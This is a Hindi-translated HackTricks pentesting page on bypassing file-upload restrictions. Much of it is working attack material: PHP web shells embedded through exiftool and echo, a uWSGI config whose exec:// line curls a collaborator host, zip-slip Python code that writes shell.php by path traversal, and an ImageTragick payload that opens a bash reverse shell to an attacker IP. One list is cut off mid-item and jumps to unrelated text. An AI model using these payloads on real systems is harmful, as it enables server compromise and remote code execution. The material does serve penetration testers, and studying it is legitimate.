hacktricks/pentesting-web/file-upload/README.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

36 KiB
Raw Blame History

फ़ाइल अपलोड

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारा एकल NFT संग्रह!
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें
  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
  • अपने हैकिंग ट्रिक्स साझा करें हैकट्रिक्स रेपो (hacktricks repo) और हैकट्रिक्स-क्लाउड रेपो (hacktricks-cloud repo) में पीआर जमा करके।

बग बाउंटी टिप: Intigriti में साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफ़ॉर्म जो हैकर्स द्वारा बनाई गई है, हैकर्स के लिए! आज ही हमारे साथ शामिल हों https://go.intigriti.com/hacktricks, और $100,000 तक की इनामी प्राप्त करना शुरू करें!

{% embed url="https://go.intigriti.com/hacktricks" %}

फ़ाइल अपलोड सामान्य तकनीक

अन्य उपयोगी एक्सटेंशन:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8 में काम करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

फ़ाइल एक्सटेंशन जांच को छलना

  1. यदि लागू होता है, तो पिछली एक्सटेंशन की जांच करें। कुछ अपरकेस अक्षरों का उपयोग करके उन्हें भी टेस्ट करें: pHp, .pHP5, .PhAr ...
  2. व्यवहार एक्सटेंशन के पहले एक मान्य एक्सटेंशन जोड़ें** (पिछली एक्सटेंशन भी उपयोग करें):
  • file.png.php
  • file.png.Php5
  1. अंत में विशेष वर्ण जोड़ें। आप बर्फ़ का उपयोग करके सभी एस्की और यूनिकोड वर्णों को ब्रूटफ़ोर्स कर सकते हैं। (ध्यान दें कि आप पिछली उपयोग की गई एक्सटेंशनों का भी प्रयोग कर सकते हैं)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. बचाव को छलने के लिए प्रोटेक्शन को एक्सटेंशन पार्सर को धोखा देने की कोशिश करें। एक्सटेंशन को डबल करने या एक्सटेंशन के बीच में जंक डेटा (नल बाइट्स) जोड़ने जैसी तकनीकों का उपयोग करें। आप बेहतर payload तैयार करने के लिए पिछली एक्सटेंशन भी उपयोग कर सकते हैं
  • file.png.php
  • _file
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png

कंटेंट-टाइप, मैजिक नंबर, संपीड़न और आकार छोड़ने के लिए बाईपास करें

  • कंटेंट-टाइप जांच को बाईपास करने के लिए, कंटेंट-टाइप हेडर के मान को सेट करें: image/png, text/plain, application/octet-stream
  1. कंटेंट-टाइप वर्डलिस्ट: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • मैजिक नंबर जांच को बाईपास करने के लिए, फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट (फ़ाइल कमांड को भ्रमित करें) जोड़ें। या शैल को मेटाडेटा में प्रस्तुत करें:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ या आप एक छवि में पेलोड सीधे प्रस्तुत कर सकते हैं:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • यदि आपकी छवि में संपीड़न जोड़ी जा रही है, उदाहरण के लिए PHP-GD जैसे कुछ मानक PHP पुस्तकालयों का उपयोग करके, पिछले तकनीक कारगर नहीं होंगे। हालांकि, आप संपीड़न को सही रखने के लिए कुछ पाठ डालने के लिए PLTE चंक यहां परिभाषित तकनीक का उपयोग कर सकते हैं।
  • कोड के साथ Github
  • वेब पृष्ठ भी छवि का आकार बदल सकता है, उदाहरण के लिए PHP-GD फ़ंक्शन imagecopyresized या imagecopyresampled का उपयोग करके। हालांकि, आप संपीड़न को सही रखने के लिए कुछ पाठ डालने के लिए IDAT चंक यहां परिभाषित तकनीक का उपयोग कर सकते हैं।
  • कोड के साथ Github
  • एक और तकनीक जो एक पेलोड बनाती है जो छवि का आकार बदलने को सही रखती है, PHP-GD फ़ंक्शन thumbnailImage का उपयोग करती है। हालांकि, आप संपीड़न को सही रखने के लिए कुछ पाठ डालने के लिए tEXt चंक यहां परिभाषित तकनीक का उपयोग कर सकते हैं।
  • कोड के साथ Github

जांचने के लिए अन्य ट्रिक्स

  • फ़ाइल को पहले से अपलोड करने के लिए एक संकटस्थल का पता लगाएं (एक्सटेंशन बदलने के लिए)।
  • एक स्थानीय फ़ाइल सम्मिलन संकटस्थल खोजें ताकि बैकडोर को निष्पादित किया जा सके।
  • संभावित सूचना विस्तार:
  1. कई बार (और एक साथ) एक ही फ़ाइल को एक ही नाम के साथ अपलोड करें
  2. एक फ़ाइल या फ़ोल्डर के नाम के साथ एक फ़ाइल अपलोड करें जो पहले से मौजूद है
  3. “.”, “..”, या “…” के रूप में अपने नाम के साथ एक फ़ाइल अपलोड करें। उदाहरण के लिए, विंडोज में एकेपीचे में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइलनाम “/www/” निर्देशिका में एक “uploads” फ़ाइल बनाएगा।
  4. एक ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता है, जैसे कि “…:.jpg” NTFS में। (विंडोज)
  5. अपने नाम में अमान्य वर्ण जैसे |<>*?” वाली फ़ाइल विंडोज में अपलोड करें। (विंडोज)
  6. विंडोज में रोके गए (निषिद्ध) नाम जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4,
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

जब कॉन्फ़िगरेशन फ़ाइल पार्स की जाएगी, तो पेलोड को एक्सीक्यूट किया जाएगा। ध्यान दें कि कॉन्फ़िगरेशन को पार्स करने के लिए, प्रोसेस को पुनः आरंभ किया जाना चाहिए (क्रैश? डीओएस?) या फ़ाइल ऑटोरीलोड किया जाना चाहिए (जहां एक विकल्प में इस्तेमाल किए जाने पर फ़ाइल को रीलोड करने के लिए सेकंड निर्धारित किए जाते हैं अगर कोई बदलाव मिलता है)।

महत्वपूर्ण नोट: कॉन्फ़िगरेशन फ़ाइल की uWSGI पार्सिंग ढीली होती है। पिछला पेलोड एक बाइनरी फ़ाइल (जैसे छवि, पीडीएफ, ...) के भीतर समाहित किया जा सकता है।

wget फ़ाइल अपलोड/SSRF ट्रिक

कई बार आपको यह पता चल सकता है कि एक सर्वर wget का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को इंगित कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन व्हाइटलिस्ट में है या नहीं, ताकि केवल अनुमति दी गई फ़ाइलें ही डाउनलोड हों। हालांकि, इस जांच को बाईपास किया जा सकता है।
लिनक्स में एक फ़ाइलनाम की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइलनाम को 236 वर्णों तक काट देता है। आप "A"*232+".php"+".gif" नामक एक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइलनाम जांच को बाईपास करेगा (जैसा कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget फ़ाइल को "A"*232+".php" नाम से रीनेम करेगा।

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

नोट करें कि इस जांच को बाईपास करने के लिए आपके मन में एक और विकल्प हो सकता है, जो है कि HTTP सर्वर को एक अलग फ़ाइल पर पुनर्निर्देशित करें, तो प्रारंभिक URL जांच को बाईपास करेगा, फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names के साथ उपयोग किया जा रहा हो, क्योंकि wget पुनर्निर्देशित पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा

अन्य संसाधन

उपकरण

  • Upload Bypass एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड मेकेनिज़्म की परीक्षा करने में मदद करने के लिए डिज़ाइन किया गया है। यह वेब एप्लिकेशनों की सम्पूर्ण मूल्यांकन सुनिश्चित करने के लिए विभिन्न बग बाउंटी तकनीकों का लाभ उठाता है।

फ़ाइल अपलोड से अन्य सुरक्षा समस्याएं

यहां एक शीर्ष 10 सूची है जिन चीजों को आप अपलोड करके प्राप्त कर सकते हैं (स्रोत: लिंक):

  1. ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE
  2. SVG: स्टोर्ड XSS / SSRF / XXE
  3. GIF: स्टोर्ड XSS / SSRF
  4. CSV: CSV इंजेक्शन
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
  8. PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
  9. ZIP: LFI के माध्यम से RCE / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

{% embed url="https://github.com/portswigger/upload-scanner" %}

मैजिक हेडर बाइट्स

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures का संदर्भ देखें।

ज़िप / टार फ़ाइल स्व

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

विभिन्न फ़ोल्डरों में डीकंप्रेस करें

डीकंप्रेस किए गए फ़ाइलें अप्रत्याशित फ़ोल्डरों में बनाई जाएंगी।

आसानी से सोचा जा सकता है कि यह सेटअप ख़राब फ़ाइल अपलोड के माध्यम से ओएस स्तर के कमांड निष्पादन से सुरक्षित है, लेकिन दुर्भाग्य से यह सच नहीं है। क्योंकि ZIP आर्काइव प्रारूप हार्कियर्कल कंप्रेशन को समर्थित करता है और हम उच्च स्तरीय निर्देशिकाओं का संदर्भ भी कर सकते हैं, हम लक्ष्य अनुप्रयोग की डीकंप्रेशन सुविधा का दुरुपयोग करके सुरक्षित अपलोड डायरेक्टरी से बाहर निकल सकते हैं।

इस तरह की फ़ाइलें बनाने के लिए स्वचालित उत्पादन यहां मिल सकता है: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

आप एविलार्क के साथ सिंबलिंक ट्रिक का उपयोग भी कर सकते हैं, यदि फ़्लैग /flag.txt में है तो सुनिश्चित करें कि आप उस फ़ाइल के लिए सिंबलिंक बनाते हैं और अपने सिस्टम में उस फ़ाइल को बनाते हैं ताकि जब आप एविलार्क को कॉल करें तो वह त्रुटि न दिखाए

कुछ पायथन कोड एक खतरनाक ज़िप बनाने के लिए:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

दूरस्थ कमांड निष्पादन को प्राप्त करने के लिए मैंने निम्नलिखित कदम उठाए:

  1. एक PHP शैल बनाएं:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. "फ़ाइल स्प्रे" का उपयोग करें और एक संपीड़ित ज़िप फ़ाइल बनाएं:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. हेक्स एडिटर या वीआई का उपयोग करें और "xxA" को "../" में बदलें, मैंने वीआई का उपयोग किया:
:set modifiable
:%s/xxA/..\//g
:x!

केवल एक कदम शेष रह गया: ZIP फ़ाइल अपलोड करें और ऐप्लिकेशन को इसे डीकंप्रेस करने दें! यदि यह सफल होता है और वेब सर्वर को निर्धारित अनुमतियाँ होती हैं तो सिस्टम पर एक सरल ओएस कमांड निष्पादन शैली होगी:

b1

संदर्भ: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा को उल्लंघन किया जा सके (ImageMagick, 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG में PHP शेल एम्बेड करना

वेब शेल को IDAT चंक में रखने का प्राथमिक कारण यह है कि इसके पास रीसाइज और री-सैंपलिंग कार्रवाई को छलने की क्षमता होती है - PHP-GD में इसे करने के लिए दो फ़ंक्शन होते हैं imagecopyresized और imagecopyresampled.

इस पोस्ट को पढ़ें: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

पॉलीग्लॉट फ़ाइलें

सुरक्षा संदर्भ में, पॉलीग्लॉट फ़ाइलें ऐसी फ़ाइलें हैं जो कई अलग-अलग फ़ाइल प्रकारों के मान्य रूप हैं। उदाहरण के लिए, GIFAR एक GIF और RAR फ़ाइल दोनों है। वहां ऐसी भी फ़ाइलें हैं जो GIF और JS, PPT और JS, आदि दोनों हो सकती हैं।

पॉलीग्लॉट फ़ाइलें अक्सर फ़ाइल प्रकार पर आधारित सुरक्षा से बचने के आधार पर पारित करने के लिए उपयोग की जाती हैं। बहुत सारे ऐप्लिकेशन उपयोगकर्ताओं को केवल निश्चित प्रकार की फ़ाइलें अपलोड करने की अनुमति देते हैं, जैसे JPEG, GIF, DOC, ताकि उपयोगकर्ताओं को JS फ़ाइलें, PHP फ़ाइलें या Phar फ़ाइलें जैसी संभावित खतरनाक फ़ाइलें अपलोड करने से रोका जा सके।

इससे आपको कई अलग-अलग प्रारूपों के साथ एक फ़ाइल अपलोड करने में मदद मिलती है। यह आपको एक PHAR फ़ाइल (PHp ARchive) को अपलोड करने की अनुमति देता है जो एक JPEG की तरह दिखता है, लेकिन शायद आपको एक मान्य एक्सटेंशन की भी आवश्यकता होगी और यदि अपलोड करने की फ़ंक्शन इसे अनुमति नहीं देती है तो यह आपकी मदद नहीं करेगा।

अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


बग बाउंटी टिप: Intigriti में साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफ़ॉर्म जो हैकर्स द्वारा बनाई गई है! आज ही हमारे साथ शामिल हों https://go.intigriti.com/hacktricks, और $100,000 तक की बाउंटी कमाना शुरू करें!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥